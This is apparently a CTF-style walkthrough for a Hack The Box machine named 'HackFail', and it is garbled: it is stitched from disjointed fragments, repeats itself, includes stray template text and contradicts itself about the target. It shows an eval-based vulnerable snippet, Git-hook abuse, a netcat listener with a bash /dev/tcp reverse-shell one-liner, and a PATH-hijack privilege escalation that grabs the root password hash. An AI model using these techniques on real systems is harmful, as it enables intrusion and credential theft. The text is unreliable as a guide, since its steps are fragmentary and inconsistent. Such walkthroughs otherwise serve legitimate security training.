HackFail is a medium-difficulty Linux machine on Hack The Box that highlights the dangers of insecure automation, misconfigured log parsers, and container breakouts. This article provides a comprehensive, step-by-step guide to exploiting this machine, moving from initial footprinting to root access. Phase 1: Enumeration and Port Scanning
Browse through public repositories. Look for configuration files (like .env or config.php ) that might contain secrets. Exploit Git Hooks: If you find a repository you can edit: Navigate to Settings > Git Hooks . Edit the pre-receive or post-update hook.
Exploiting the application's underlying logic flaw yields a foot-in-the-door script execution.
# Vulnerable Code Snippet Found in API Handler import json def log_failed_request(user_input): log_template = f"'status': 'failed', 'reason': 'user_input'" # Brittle handling passes raw strings directly into an unsafe evaluation block processed_log = eval(log_template) return processed_log Use code with caution. hackfail.htb
Every thorough penetration test begins with scanning to identify active services and pinpoint potential entry points. Infrastructure Profiling
modules use placeholder hostnames to teach DNS enumeration and virtual host routing. Hack The Box General Methodology for Such Targets
Happy hacking—and may your failures be few, or at least educational. HackFail is a medium-difficulty Linux machine on Hack
Input parameters vulnerable to Server-Side Template Injection (SSTI) or File Inclusion.
However, the name "hackfail" is semi-meta. It’s not an official "easy" or "medium" box in the traditional sense. If you search for hackfail.htb in the official HTB machine list, you might not find it immediately. Instead, this hostname appears as a target within a specific arena, often a or a Challenge-based environment where the path to root is intentionally misleading.
# Listener setup on your attack machine nc -lvnp 4444 # Payload executed via the web app exploit bash -c 'bash -i >& /dev/tcp/ /4444 0>&1' Use code with caution. Phase 3: Post-Exploitation and User Pivoting Look for configuration files (like
The real fail is in /root/fail_log . You can't read it. But you notice fail_trap calls cat /root/fail_log without sanitizing $PATH . You export PATH=/tmp:$PATH , create a fake cat that copies /root/fail_log . Run fail_trap — bingo. The log contains the root password hash.
Run automated reconnaissance scripts like LinPEAS or perform manual file discovery to locate sensitive user files.
: Initial entry is gained through web service exploitation, followed by local enumeration for root access. 2. Technical Findings & Exploitation Steps Phase 1: Reconnaissance & Enumeration Begin your paper by detailing the service discovery phase. Penetration testing reports: A powerful template and guide
